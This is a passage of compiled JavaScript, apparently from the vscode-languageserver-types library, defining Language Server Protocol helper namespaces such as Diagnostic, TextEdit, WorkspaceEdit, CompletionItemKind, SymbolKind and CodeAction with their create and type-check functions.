return Is.defined(candidate) && Range.is(candidate.targetRange) && Is.string(candidate.targetUri)
&& (Range.is(candidate.targetSelectionRange) || Is.undefined(candidate.targetSelectionRange))
&& (Range.is(candidate.originSelectionRange) || Is.undefined(candidate.originSelectionRange));
}
LocationLink.is = is;
})(LocationLink || (LocationLink = {}));
/**
* The Color namespace provides helper functions to work with
* [Color](#Color) literals.
*/
var Color;
(function (Color) {
/**
* Creates a new Color literal.
*/
function create(red, green, blue, alpha) {
return {
red: red,
green: green,
blue: blue,
alpha: alpha,
};
}
Color.create = create;
/**
* Checks whether the given literal conforms to the [Color](#Color) interface.
*/
function is(value) {
var candidate = value;
return Is.number(candidate.red)
&& Is.number(candidate.green)
&& Is.number(candidate.blue)
&& Is.number(candidate.alpha);
}
Color.is = is;
})(Color || (Color = {}));
/**
* The ColorInformation namespace provides helper functions to work with
* [ColorInformation](#ColorInformation) literals.
*/
var ColorInformation;
(function (ColorInformation) {
/**
* Creates a new ColorInformation literal.
*/
function create(range, color) {
return {
range: range,
color: color,
};
}
ColorInformation.create = create;
/**
* Checks whether the given literal conforms to the [ColorInformation](#ColorInformation) interface.
*/
function is(value) {
var candidate = value;
return Range.is(candidate.range) && Color.is(candidate.color);
}
ColorInformation.is = is;
})(ColorInformation || (ColorInformation = {}));
/**
* The Color namespace provides helper functions to work with
* [ColorPresentation](#ColorPresentation) literals.
*/
var ColorPresentation;
(function (ColorPresentation) {
/**
* Creates a new ColorInformation literal.
*/
function create(label, textEdit, additionalTextEdits) {
return {
label: label,
textEdit: textEdit,
additionalTextEdits: additionalTextEdits,
};
}
ColorPresentation.create = create;
/**
* Checks whether the given literal conforms to the [ColorInformation](#ColorInformation) interface.
*/
function is(value) {
var candidate = value;
return Is.string(candidate.label)
&& (Is.undefined(candidate.textEdit) || TextEdit.is(candidate))
&& (Is.undefined(candidate.additionalTextEdits) || Is.typedArray(candidate.additionalTextEdits, TextEdit.is));
}
ColorPresentation.is = is;
})(ColorPresentation || (ColorPresentation = {}));
/**
* Enum of known range kinds
*/
var FoldingRangeKind;
(function (FoldingRangeKind) {
/**
* Folding range for a comment
*/
FoldingRangeKind["Comment"] = "comment";
/**
* Folding range for a imports or includes
*/
FoldingRangeKind["Imports"] = "imports";
/**
* Folding range for a region (e.g. `#region`)
*/
FoldingRangeKind["Region"] = "region";
})(FoldingRangeKind || (FoldingRangeKind = {}));
/**
* The folding range namespace provides helper functions to work with
* [FoldingRange](#FoldingRange) literals.
*/
var FoldingRange;
(function (FoldingRange) {
/**
* Creates a new FoldingRange literal.
*/
function create(startLine, endLine, startCharacter, endCharacter, kind) {
var result = {
startLine: startLine,
endLine: endLine
};
if (Is.defined(startCharacter)) {
result.startCharacter = startCharacter;
}
if (Is.defined(endCharacter)) {
result.endCharacter = endCharacter;
}
if (Is.defined(kind)) {
result.kind = kind;
}
return result;
}
FoldingRange.create = create;
/**
* Checks whether the given literal conforms to the [FoldingRange](#FoldingRange) interface.
*/
function is(value) {
var candidate = value;
return Is.number(candidate.startLine) && Is.number(candidate.startLine)
&& (Is.undefined(candidate.startCharacter) || Is.number(candidate.startCharacter))
&& (Is.undefined(candidate.endCharacter) || Is.number(candidate.endCharacter))
&& (Is.undefined(candidate.kind) || Is.string(candidate.kind));
}
FoldingRange.is = is;
})(FoldingRange || (FoldingRange = {}));
/**
* The DiagnosticRelatedInformation namespace provides helper functions to work with
* [DiagnosticRelatedInformation](#DiagnosticRelatedInformation) literals.
*/
var DiagnosticRelatedInformation;
(function (DiagnosticRelatedInformation) {
/**
* Creates a new DiagnosticRelatedInformation literal.
*/
function create(location, message) {
return {
location: location,
message: message
};
}
DiagnosticRelatedInformation.create = create;
/**
* Checks whether the given literal conforms to the [DiagnosticRelatedInformation](#DiagnosticRelatedInformation) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Location.is(candidate.location) && Is.string(candidate.message);
}
DiagnosticRelatedInformation.is = is;
})(DiagnosticRelatedInformation || (DiagnosticRelatedInformation = {}));
/**
* The diagnostic's severity.
*/
var DiagnosticSeverity;
(function (DiagnosticSeverity) {
/**
* Reports an error.
*/
DiagnosticSeverity.Error = 1;
/**
* Reports a warning.
*/
DiagnosticSeverity.Warning = 2;
/**
* Reports an information.
*/
DiagnosticSeverity.Information = 3;
/**
* Reports a hint.
*/
DiagnosticSeverity.Hint = 4;
})(DiagnosticSeverity || (DiagnosticSeverity = {}));
/**
* The diagnostic tags.
*
* @since 3.15.0
*/
var DiagnosticTag;
(function (DiagnosticTag) {
/**
* Unused or unnecessary code.
*
* Clients are allowed to render diagnostics with this tag faded out instead of having
* an error squiggle.
*/
DiagnosticTag.Unnecessary = 1;
/**
* Deprecated or obsolete code.
*
* Clients are allowed to rendered diagnostics with this tag strike through.
*/
DiagnosticTag.Deprecated = 2;
})(DiagnosticTag || (DiagnosticTag = {}));
/**
* The Diagnostic namespace provides helper functions to work with
* [Diagnostic](#Diagnostic) literals.
*/
var Diagnostic;
(function (Diagnostic) {
/**
* Creates a new Diagnostic literal.
*/
function create(range, message, severity, code, source, relatedInformation) {
var result = { range: range, message: message };
if (Is.defined(severity)) {
result.severity = severity;
}
if (Is.defined(code)) {
result.code = code;
}
if (Is.defined(source)) {
result.source = source;
}
if (Is.defined(relatedInformation)) {
result.relatedInformation = relatedInformation;
}
return result;
}
Diagnostic.create = create;
/**
* Checks whether the given literal conforms to the [Diagnostic](#Diagnostic) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate)
&& Range.is(candidate.range)
&& Is.string(candidate.message)
&& (Is.number(candidate.severity) || Is.undefined(candidate.severity))
&& (Is.number(candidate.code) || Is.string(candidate.code) || Is.undefined(candidate.code))
&& (Is.string(candidate.source) || Is.undefined(candidate.source))
&& (Is.undefined(candidate.relatedInformation) || Is.typedArray(candidate.relatedInformation, DiagnosticRelatedInformation.is));
}
Diagnostic.is = is;
})(Diagnostic || (Diagnostic = {}));
/**
* The Command namespace provides helper functions to work with
* [Command](#Command) literals.
*/
var Command;
(function (Command) {
/**
* Creates a new Command literal.
*/
function create(title, command) {
var args = [];
for (var _i = 2; _i < arguments.length; _i++) {
args[_i - 2] = arguments[_i];
}
var result = { title: title, command: command };
if (Is.defined(args) && args.length > 0) {
result.arguments = args;
}
return result;
}
Command.create = create;
/**
* Checks whether the given literal conforms to the [Command](#Command) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Is.string(candidate.title) && Is.string(candidate.command);
}
Command.is = is;
})(Command || (Command = {}));
/**
* The TextEdit namespace provides helper function to create replace,
* insert and delete edits more easily.
*/
var TextEdit;
(function (TextEdit) {
/**
* Creates a replace text edit.
* @param range The range of text to be replaced.
* @param newText The new text.
*/
function replace(range, newText) {
return { range: range, newText: newText };
}
TextEdit.replace = replace;
/**
* Creates a insert text edit.
* @param position The position to insert the text at.
* @param newText The text to be inserted.
*/
function insert(position, newText) {
return { range: { start: position, end: position }, newText: newText };
}
TextEdit.insert = insert;
/**
* Creates a delete text edit.
* @param range The range of text to be deleted.
*/
function del(range) {
return { range: range, newText: '' };
}
TextEdit.del = del;
function is(value) {
var candidate = value;
return Is.objectLiteral(candidate)
&& Is.string(candidate.newText)
&& Range.is(candidate.range);
}
TextEdit.is = is;
})(TextEdit || (TextEdit = {}));
/**
* The TextDocumentEdit namespace provides helper function to create
* an edit that manipulates a text document.
*/
var TextDocumentEdit;
(function (TextDocumentEdit) {
/**
* Creates a new `TextDocumentEdit`
*/
function create(textDocument, edits) {
return { textDocument: textDocument, edits: edits };
}
TextDocumentEdit.create = create;
function is(value) {
var candidate = value;
return Is.defined(candidate)
&& VersionedTextDocumentIdentifier.is(candidate.textDocument)
&& Array.isArray(candidate.edits);
}
TextDocumentEdit.is = is;
})(TextDocumentEdit || (TextDocumentEdit = {}));
var CreateFile;
(function (CreateFile) {
function create(uri, options) {
var result = {
kind: 'create',
uri: uri
};
if (options !== void 0 && (options.overwrite !== void 0 || options.ignoreIfExists !== void 0)) {
result.options = options;
}
return result;
}
CreateFile.create = create;
function is(value) {
var candidate = value;
return candidate && candidate.kind === 'create' && Is.string(candidate.uri) &&
(candidate.options === void 0 ||
((candidate.options.overwrite === void 0 || Is.boolean(candidate.options.overwrite)) && (candidate.options.ignoreIfExists === void 0 || Is.boolean(candidate.options.ignoreIfExists))));
}
CreateFile.is = is;
})(CreateFile || (CreateFile = {}));
var RenameFile;
(function (RenameFile) {
function create(oldUri, newUri, options) {
var result = {
kind: 'rename',
oldUri: oldUri,
newUri: newUri
};
if (options !== void 0 && (options.overwrite !== void 0 || options.ignoreIfExists !== void 0)) {
result.options = options;
}
return result;
}
RenameFile.create = create;
function is(value) {
var candidate = value;
return candidate && candidate.kind === 'rename' && Is.string(candidate.oldUri) && Is.string(candidate.newUri) &&
(candidate.options === void 0 ||
((candidate.options.overwrite === void 0 || Is.boolean(candidate.options.overwrite)) && (candidate.options.ignoreIfExists === void 0 || Is.boolean(candidate.options.ignoreIfExists))));
}
RenameFile.is = is;
})(RenameFile || (RenameFile = {}));
var DeleteFile;
(function (DeleteFile) {
function create(uri, options) {
var result = {
kind: 'delete',
uri: uri
};
if (options !== void 0 && (options.recursive !== void 0 || options.ignoreIfNotExists !== void 0)) {
result.options = options;
}
return result;
}
DeleteFile.create = create;
function is(value) {
var candidate = value;
return candidate && candidate.kind === 'delete' && Is.string(candidate.uri) &&
(candidate.options === void 0 ||
((candidate.options.recursive === void 0 || Is.boolean(candidate.options.recursive)) && (candidate.options.ignoreIfNotExists === void 0 || Is.boolean(candidate.options.ignoreIfNotExists))));
}
DeleteFile.is = is;
})(DeleteFile || (DeleteFile = {}));
var WorkspaceEdit;
(function (WorkspaceEdit) {
function is(value) {
var candidate = value;
return candidate &&
(candidate.changes !== void 0 || candidate.documentChanges !== void 0) &&
(candidate.documentChanges === void 0 || candidate.documentChanges.every(function (change) {
if (Is.string(change.kind)) {
return CreateFile.is(change) || RenameFile.is(change) || DeleteFile.is(change);
}
else {
return TextDocumentEdit.is(change);
}
}));
}
WorkspaceEdit.is = is;
})(WorkspaceEdit || (WorkspaceEdit = {}));
var TextEditChangeImpl = /** @class */ (function () {
function TextEditChangeImpl(edits) {
this.edits = edits;
}
TextEditChangeImpl.prototype.insert = function (position, newText) {
this.edits.push(TextEdit.insert(position, newText));
};
TextEditChangeImpl.prototype.replace = function (range, newText) {
this.edits.push(TextEdit.replace(range, newText));
};
TextEditChangeImpl.prototype.delete = function (range) {
this.edits.push(TextEdit.del(range));
};
TextEditChangeImpl.prototype.add = function (edit) {
this.edits.push(edit);
};
TextEditChangeImpl.prototype.all = function () {
return this.edits;
};
TextEditChangeImpl.prototype.clear = function () {
this.edits.splice(0, this.edits.length);
};
return TextEditChangeImpl;
}());
/**
* A workspace change helps constructing changes to a workspace.
*/
var WorkspaceChange = /** @class */ (function () {
function WorkspaceChange(workspaceEdit) {
var _this = this;
this._textEditChanges = Object.create(null);
if (workspaceEdit) {
this._workspaceEdit = workspaceEdit;
if (workspaceEdit.documentChanges) {
workspaceEdit.documentChanges.forEach(function (change) {
if (TextDocumentEdit.is(change)) {
var textEditChange = new TextEditChangeImpl(change.edits);
_this._textEditChanges[change.textDocument.uri] = textEditChange;
}
});
}
else if (workspaceEdit.changes) {
Object.keys(workspaceEdit.changes).forEach(function (key) {
var textEditChange = new TextEditChangeImpl(workspaceEdit.changes[key]);
_this._textEditChanges[key] = textEditChange;
});
}
}
}
Object.defineProperty(WorkspaceChange.prototype, "edit", {
/**
* Returns the underlying [WorkspaceEdit](#WorkspaceEdit) literal
* use to be returned from a workspace edit operation like rename.
*/
get: function () {
return this._workspaceEdit;
},
enumerable: true,
configurable: true
});
WorkspaceChange.prototype.getTextEditChange = function (key) {
if (VersionedTextDocumentIdentifier.is(key)) {
if (!this._workspaceEdit) {
this._workspaceEdit = {
documentChanges: []
};
}
if (!this._workspaceEdit.documentChanges) {
throw new Error('Workspace edit is not configured for document changes.');
}
var textDocument = key;
var result = this._textEditChanges[textDocument.uri];
if (!result) {
var edits = [];
var textDocumentEdit = {
textDocument: textDocument,
edits: edits
};
this._workspaceEdit.documentChanges.push(textDocumentEdit);
result = new TextEditChangeImpl(edits);
this._textEditChanges[textDocument.uri] = result;
}
return result;
}
else {
if (!this._workspaceEdit) {
this._workspaceEdit = {
changes: Object.create(null)
};
}
if (!this._workspaceEdit.changes) {
throw new Error('Workspace edit is not configured for normal text edit changes.');
}
var result = this._textEditChanges[key];
if (!result) {
var edits = [];
this._workspaceEdit.changes[key] = edits;
result = new TextEditChangeImpl(edits);
this._textEditChanges[key] = result;
}
return result;
}
};
WorkspaceChange.prototype.createFile = function (uri, options) {
this.checkDocumentChanges();
this._workspaceEdit.documentChanges.push(CreateFile.create(uri, options));
};
WorkspaceChange.prototype.renameFile = function (oldUri, newUri, options) {
this.checkDocumentChanges();
this._workspaceEdit.documentChanges.push(RenameFile.create(oldUri, newUri, options));
};
WorkspaceChange.prototype.deleteFile = function (uri, options) {
this.checkDocumentChanges();
this._workspaceEdit.documentChanges.push(DeleteFile.create(uri, options));
};
WorkspaceChange.prototype.checkDocumentChanges = function () {
if (!this._workspaceEdit || !this._workspaceEdit.documentChanges) {
throw new Error('Workspace edit is not configured for document changes.');
}
};
return WorkspaceChange;
}());
/**
* The TextDocumentIdentifier namespace provides helper functions to work with
* [TextDocumentIdentifier](#TextDocumentIdentifier) literals.
*/
var TextDocumentIdentifier;
(function (TextDocumentIdentifier) {
/**
* Creates a new TextDocumentIdentifier literal.
* @param uri The document's uri.
*/
function create(uri) {
return { uri: uri };
}
TextDocumentIdentifier.create = create;
/**
* Checks whether the given literal conforms to the [TextDocumentIdentifier](#TextDocumentIdentifier) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Is.string(candidate.uri);
}
TextDocumentIdentifier.is = is;
})(TextDocumentIdentifier || (TextDocumentIdentifier = {}));
/**
* The VersionedTextDocumentIdentifier namespace provides helper functions to work with
* [VersionedTextDocumentIdentifier](#VersionedTextDocumentIdentifier) literals.
*/
var VersionedTextDocumentIdentifier;
(function (VersionedTextDocumentIdentifier) {
/**
* Creates a new VersionedTextDocumentIdentifier literal.
* @param uri The document's uri.
* @param uri The document's text.
*/
function create(uri, version) {
return { uri: uri, version: version };
}
VersionedTextDocumentIdentifier.create = create;
/**
* Checks whether the given literal conforms to the [VersionedTextDocumentIdentifier](#VersionedTextDocumentIdentifier) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Is.string(candidate.uri) && (candidate.version === null || Is.number(candidate.version));
}
VersionedTextDocumentIdentifier.is = is;
})(VersionedTextDocumentIdentifier || (VersionedTextDocumentIdentifier = {}));
/**
* The TextDocumentItem namespace provides helper functions to work with
* [TextDocumentItem](#TextDocumentItem) literals.
*/
var TextDocumentItem;
(function (TextDocumentItem) {
/**
* Creates a new TextDocumentItem literal.
* @param uri The document's uri.
* @param languageId The document's language identifier.
* @param version The document's version number.
* @param text The document's text.
*/
function create(uri, languageId, version, text) {
return { uri: uri, languageId: languageId, version: version, text: text };
}
TextDocumentItem.create = create;
/**
* Checks whether the given literal conforms to the [TextDocumentItem](#TextDocumentItem) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Is.string(candidate.uri) && Is.string(candidate.languageId) && Is.number(candidate.version) && Is.string(candidate.text);
}
TextDocumentItem.is = is;
})(TextDocumentItem || (TextDocumentItem = {}));
/**
* Describes the content type that a client supports in various
* result literals like `Hover`, `ParameterInfo` or `CompletionItem`.
*
* Please note that `MarkupKinds` must not start with a `$`. This kinds
* are reserved for internal usage.
*/
var MarkupKind;
(function (MarkupKind) {
/**
* Plain text is supported as a content format
*/
MarkupKind.PlainText = 'plaintext';
/**
* Markdown is supported as a content format
*/
MarkupKind.Markdown = 'markdown';
})(MarkupKind || (MarkupKind = {}));
(function (MarkupKind) {
/**
* Checks whether the given value is a value of the [MarkupKind](#MarkupKind) type.
*/
function is(value) {
var candidate = value;
return candidate === MarkupKind.PlainText || candidate === MarkupKind.Markdown;
}
MarkupKind.is = is;
})(MarkupKind || (MarkupKind = {}));
var MarkupContent;
(function (MarkupContent) {
/**
* Checks whether the given value conforms to the [MarkupContent](#MarkupContent) interface.
*/
function is(value) {
var candidate = value;
return Is.objectLiteral(value) && MarkupKind.is(candidate.kind) && Is.string(candidate.value);
}
MarkupContent.is = is;
})(MarkupContent || (MarkupContent = {}));
/**
* The kind of a completion entry.
*/
var CompletionItemKind;
(function (CompletionItemKind) {
CompletionItemKind.Text = 1;
CompletionItemKind.Method = 2;
CompletionItemKind.Function = 3;
CompletionItemKind.Constructor = 4;
CompletionItemKind.Field = 5;
CompletionItemKind.Variable = 6;
CompletionItemKind.Class = 7;
CompletionItemKind.Interface = 8;
CompletionItemKind.Module = 9;
CompletionItemKind.Property = 10;
CompletionItemKind.Unit = 11;
CompletionItemKind.Value = 12;
CompletionItemKind.Enum = 13;
CompletionItemKind.Keyword = 14;
CompletionItemKind.Snippet = 15;
CompletionItemKind.Color = 16;
CompletionItemKind.File = 17;
CompletionItemKind.Reference = 18;
CompletionItemKind.Folder = 19;
CompletionItemKind.EnumMember = 20;
CompletionItemKind.Constant = 21;
CompletionItemKind.Struct = 22;
CompletionItemKind.Event = 23;
CompletionItemKind.Operator = 24;
CompletionItemKind.TypeParameter = 25;
})(CompletionItemKind || (CompletionItemKind = {}));
/**
* Defines whether the insert text in a completion item should be interpreted as
* plain text or a snippet.
*/
var InsertTextFormat;
(function (InsertTextFormat) {
/**
* The primary text to be inserted is treated as a plain string.
*/
InsertTextFormat.PlainText = 1;
/**
* The primary text to be inserted is treated as a snippet.
*
* A snippet can define tab stops and placeholders with `$1`, `$2`
* and `${3:foo}`. `$0` defines the final tab stop, it defaults to
* the end of the snippet. Placeholders with equal identifiers are linked,
* that is typing in one will update others too.
*
* See also: https://github.com/Microsoft/vscode/blob/master/src/vs/editor/contrib/snippet/common/snippet.md
*/
InsertTextFormat.Snippet = 2;
})(InsertTextFormat || (InsertTextFormat = {}));
/**
* Completion item tags are extra annotations that tweak the rendering of a completion
* item.
*
* @since 3.15.0
*/
var CompletionItemTag;
(function (CompletionItemTag) {
/**
* Render a completion as obsolete, usually using a strike-out.
*/
CompletionItemTag.Deprecated = 1;
})(CompletionItemTag || (CompletionItemTag = {}));
/**
* The CompletionItem namespace provides functions to deal with
* completion items.
*/
var CompletionItem;
(function (CompletionItem) {
/**
* Create a completion item and seed it with a label.
* @param label The completion item's label
*/
function create(label) {
return { label: label };
}
CompletionItem.create = create;
})(CompletionItem || (CompletionItem = {}));
/**
* The CompletionList namespace provides functions to deal with
* completion lists.
*/
var CompletionList;
(function (CompletionList) {
/**
* Creates a new completion list.
*
* @param items The completion items.
* @param isIncomplete The list is not complete.
*/
function create(items, isIncomplete) {
return { items: items ? items : [], isIncomplete: !!isIncomplete };
}
CompletionList.create = create;
})(CompletionList || (CompletionList = {}));
var MarkedString;
(function (MarkedString) {
/**
* Creates a marked string from plain text.
*
* @param plainText The plain text.
*/
function fromPlainText(plainText) {
return plainText.replace(/[\\`*_{}[\]()#+\-.!]/g, '\\$&'); // escape markdown syntax tokens: http://daringfireball.net/projects/markdown/syntax#backslash
}
MarkedString.fromPlainText = fromPlainText;
/**
* Checks whether the given value conforms to the [MarkedString](#MarkedString) type.
*/
function is(value) {
var candidate = value;
return Is.string(candidate) || (Is.objectLiteral(candidate) && Is.string(candidate.language) && Is.string(candidate.value));
}
MarkedString.is = is;
})(MarkedString || (MarkedString = {}));
var Hover;
(function (Hover) {
/**
* Checks whether the given value conforms to the [Hover](#Hover) interface.
*/
function is(value) {
var candidate = value;
return !!candidate && Is.objectLiteral(candidate) && (MarkupContent.is(candidate.contents) ||
MarkedString.is(candidate.contents) ||
Is.typedArray(candidate.contents, MarkedString.is)) && (value.range === void 0 || Range.is(value.range));
}
Hover.is = is;
})(Hover || (Hover = {}));
/**
* The ParameterInformation namespace provides helper functions to work with
* [ParameterInformation](#ParameterInformation) literals.
*/
var ParameterInformation;
(function (ParameterInformation) {
/**
* Creates a new parameter information literal.
*
* @param label A label string.
* @param documentation A doc string.
*/
function create(label, documentation) {
return documentation ? { label: label, documentation: documentation } : { label: label };
}
ParameterInformation.create = create;
})(ParameterInformation || (ParameterInformation = {}));
/**
* The SignatureInformation namespace provides helper functions to work with
* [SignatureInformation](#SignatureInformation) literals.
*/
var SignatureInformation;
(function (SignatureInformation) {
function create(label, documentation) {
var parameters = [];
for (var _i = 2; _i < arguments.length; _i++) {
parameters[_i - 2] = arguments[_i];
}
var result = { label: label };
if (Is.defined(documentation)) {
result.documentation = documentation;
}
if (Is.defined(parameters)) {
result.parameters = parameters;
}
else {
result.parameters = [];
}
return result;
}
SignatureInformation.create = create;
})(SignatureInformation || (SignatureInformation = {}));
/**
* A document highlight kind.
*/
var DocumentHighlightKind;
(function (DocumentHighlightKind) {
/**
* A textual occurrence.
*/
DocumentHighlightKind.Text = 1;
/**
* Read-access of a symbol, like reading a variable.
*/
DocumentHighlightKind.Read = 2;
/**
* Write-access of a symbol, like writing to a variable.
*/
DocumentHighlightKind.Write = 3;
})(DocumentHighlightKind || (DocumentHighlightKind = {}));
/**
* DocumentHighlight namespace to provide helper functions to work with
* [DocumentHighlight](#DocumentHighlight) literals.
*/
var DocumentHighlight;
(function (DocumentHighlight) {
/**
* Create a DocumentHighlight object.
* @param range The range the highlight applies to.
*/
function create(range, kind) {
var result = { range: range };
if (Is.number(kind)) {
result.kind = kind;
}
return result;
}
DocumentHighlight.create = create;
})(DocumentHighlight || (DocumentHighlight = {}));
/**
* A symbol kind.
*/
var SymbolKind;
(function (SymbolKind) {
SymbolKind.File = 1;
SymbolKind.Module = 2;
SymbolKind.Namespace = 3;
SymbolKind.Package = 4;
SymbolKind.Class = 5;
SymbolKind.Method = 6;
SymbolKind.Property = 7;
SymbolKind.Field = 8;
SymbolKind.Constructor = 9;
SymbolKind.Enum = 10;
SymbolKind.Interface = 11;
SymbolKind.Function = 12;
SymbolKind.Variable = 13;
SymbolKind.Constant = 14;
SymbolKind.String = 15;
SymbolKind.Number = 16;
SymbolKind.Boolean = 17;
SymbolKind.Array = 18;
SymbolKind.Object = 19;
SymbolKind.Key = 20;
SymbolKind.Null = 21;
SymbolKind.EnumMember = 22;
SymbolKind.Struct = 23;
SymbolKind.Event = 24;
SymbolKind.Operator = 25;
SymbolKind.TypeParameter = 26;
})(SymbolKind || (SymbolKind = {}));
/**
* Symbol tags are extra annotations that tweak the rendering of a symbol.
* @since 3.15
*/
var SymbolTag;
(function (SymbolTag) {
/**
* Render a symbol as obsolete, usually using a strike-out.
*/
SymbolTag.Deprecated = 1;
})(SymbolTag || (SymbolTag = {}));
var SymbolInformation;
(function (SymbolInformation) {
/**
* Creates a new symbol information literal.
*
* @param name The name of the symbol.
* @param kind The kind of the symbol.
* @param range The range of the location of the symbol.
* @param uri The resource of the location of symbol, defaults to the current document.
* @param containerName The name of the symbol containing the symbol.
*/
function create(name, kind, range, uri, containerName) {
var result = {
name: name,
kind: kind,
location: { uri: uri, range: range }
};
if (containerName) {
result.containerName = containerName;
}
return result;
}
SymbolInformation.create = create;
})(SymbolInformation || (SymbolInformation = {}));
var DocumentSymbol;
(function (DocumentSymbol) {
/**
* Creates a new symbol information literal.
*
* @param name The name of the symbol.
* @param detail The detail of the symbol.
* @param kind The kind of the symbol.
* @param range The range of the symbol.
* @param selectionRange The selectionRange of the symbol.
* @param children Children of the symbol.
*/
function create(name, detail, kind, range, selectionRange, children) {
var result = {
name: name,
detail: detail,
kind: kind,
range: range,
selectionRange: selectionRange
};
if (children !== void 0) {
result.children = children;
}
return result;
}
DocumentSymbol.create = create;
/**
* Checks whether the given literal conforms to the [DocumentSymbol](#DocumentSymbol) interface.
*/
function is(value) {
var candidate = value;
return candidate &&
Is.string(candidate.name) && Is.number(candidate.kind) &&
Range.is(candidate.range) && Range.is(candidate.selectionRange) &&
(candidate.detail === void 0 || Is.string(candidate.detail)) &&
(candidate.deprecated === void 0 || Is.boolean(candidate.deprecated)) &&
(candidate.children === void 0 || Array.isArray(candidate.children));
}
DocumentSymbol.is = is;
})(DocumentSymbol || (DocumentSymbol = {}));
/**
* A set of predefined code action kinds
*/
var CodeActionKind;
(function (CodeActionKind) {
/**
* Empty kind.
*/
CodeActionKind.Empty = '';
/**
* Base kind for quickfix actions: 'quickfix'
*/
CodeActionKind.QuickFix = 'quickfix';
/**
* Base kind for refactoring actions: 'refactor'
*/
CodeActionKind.Refactor = 'refactor';
/**
* Base kind for refactoring extraction actions: 'refactor.extract'
*
* Example extract actions:
*
* - Extract method
* - Extract function
* - Extract variable
* - Extract interface from class
* - ...
*/
CodeActionKind.RefactorExtract = 'refactor.extract';
/**
* Base kind for refactoring inline actions: 'refactor.inline'
*
* Example inline actions:
*
* - Inline function
* - Inline variable
* - Inline constant
* - ...
*/
CodeActionKind.RefactorInline = 'refactor.inline';
/**
* Base kind for refactoring rewrite actions: 'refactor.rewrite'
*
* Example rewrite actions:
*
* - Convert JavaScript function to class
* - Add or remove parameter
* - Encapsulate field
* - Make method static
* - Move method to base class
* - ...
*/
CodeActionKind.RefactorRewrite = 'refactor.rewrite';
/**
* Base kind for source actions: `source`
*
* Source code actions apply to the entire file.
*/
CodeActionKind.Source = 'source';
/**
* Base kind for an organize imports source action: `source.organizeImports`
*/
CodeActionKind.SourceOrganizeImports = 'source.organizeImports';
/**
* Base kind for auto-fix source actions: `source.fixAll`.
*
* Fix all actions automatically fix errors that have a clear fix that do not require user input.
* They should not suppress errors or perform unsafe fixes such as generating new types or classes.
*
* @since 3.15.0
*/
CodeActionKind.SourceFixAll = 'source.fixAll';
})(CodeActionKind || (CodeActionKind = {}));
/**
* The CodeActionContext namespace provides helper functions to work with
* [CodeActionContext](#CodeActionContext) literals.
*/
var CodeActionContext;
(function (CodeActionContext) {
/**
* Creates a new CodeActionContext literal.
*/
function create(diagnostics, only) {
var result = { diagnostics: diagnostics };
if (only !== void 0 && only !== null) {
result.only = only;
}
return result;
}
CodeActionContext.create = create;
/**
* Checks whether the given literal conforms to the [CodeActionContext](#CodeActionContext) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Is.typedArray(candidate.diagnostics, Diagnostic.is) && (candidate.only === void 0 || Is.typedArray(candidate.only, Is.string));
}
CodeActionContext.is = is;
})(CodeActionContext || (CodeActionContext = {}));
var CodeAction;
(function (CodeAction) {
function create(title, commandOrEdit, kind) {
var result = { title: title };
if (Command.is(commandOrEdit)) {
result.command = commandOrEdit;
}
else {
result.edit = commandOrEdit;
}
if (kind !== void 0) {
result.kind = kind;
}
return result;
}
CodeAction.create = create;
function is(value) {
var candidate = value;
return candidate && Is.string(candidate.title) &&
(candidate.diagnostics === void 0 || Is.typedArray(candidate.diagnostics, Diagnostic.is)) &&
(candidate.kind === void 0 || Is.string(candidate.kind)) &&
(candidate.edit !== void 0 || candidate.command !== void 0) &&
(candidate.command === void 0 || Command.is(candidate.command)) &&
(candidate.isPreferred === void 0 || Is.boolean(candidate.isPreferred)) &&
(candidate.edit === void 0 || WorkspaceEdit.is(candidate.edit));
}
CodeAction.is = is;
})(CodeAction || (CodeAction = {}));
/**
* The CodeLens namespace provides helper functions to work with
* [CodeLens](#CodeLens) literals.
*/
var CodeLens;
(function (CodeLens) {
/**
* Creates a new CodeLens literal.
*/
function create(range, data) {
var result = { range: range };
if (Is.defined(data)) {
result.data = data;
}
return result;
}
CodeLens.create = create;
/**
* Checks whether the given literal conforms to the [CodeLens](#CodeLens) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Range.is(candidate.range) && (Is.undefined(candidate.command) || Command.is(candidate.command));
}
CodeLens.is = is;
})(CodeLens || (CodeLens = {}));
/**
* The FormattingOptions namespace provides helper functions to work with
* [FormattingOptions](#FormattingOptions) literals.
*/
var FormattingOptions;
(function (FormattingOptions) {
/**
* Creates a new FormattingOptions literal.
*/
function create(tabSize, insertSpaces) {
return { tabSize: tabSize, insertSpaces: insertSpaces };
}
FormattingOptions.create = create;
/**
* Checks whether the given literal conforms to the [FormattingOptions](#FormattingOptions) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Is.number(candidate.tabSize) && Is.boolean(candidate.insertSpaces);
}
FormattingOptions.is = is;
})(FormattingOptions || (FormattingOptions = {}));
/**
* The DocumentLink namespace provides helper functions to work with
* [DocumentLink](#DocumentLink) literals.
*/
var DocumentLink;
(function (DocumentLink) {
/**
* Creates a new DocumentLink literal.
*/
function create(range, target, data) {
return { range: range, target: target, data: data };
}
DocumentLink.create = create;
/**
* Checks whether the given literal conforms to the [DocumentLink](#DocumentLink) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Range.is(candidate.range) && (Is.undefined(candidate.target) || Is.string(candidate.target));
}
DocumentLink.is = is;
})(DocumentLink || (DocumentLink = {}));
/**
* The SelectionRange namespace provides helper function to work with
* SelectionRange literals.
*/
var SelectionRange;
(function (SelectionRange) {
/**
* Creates a new SelectionRange
* @param range the range.
* @param parent an optional parent.
*/
function create(range, parent) {
return { range: range, parent: parent };
}
SelectionRange.create = create;
function is(value) {
var candidate = value;
return candidate !== undefined && Range.is(candidate.range) && (candidate.parent === undefined || SelectionRange.is(candidate.parent));
}
SelectionRange.is = is;
})(SelectionRange || (SelectionRange = {}));
var EOL = ['\n', '\r\n', '\r'];
/**
* @deprecated Use the text document from the new vscode-languageserver-textdocument package.
*/
var TextDocument;
(function (TextDocument) {
/**
* Creates a new ITextDocument literal from the given uri and content.
* @param uri The document's uri.
* @param languageId The document's language Id.
* @param content The document's content.
*/
function create(uri, languageId, version, content) {
return new FullTextDocument(uri, languageId, version, content);
}
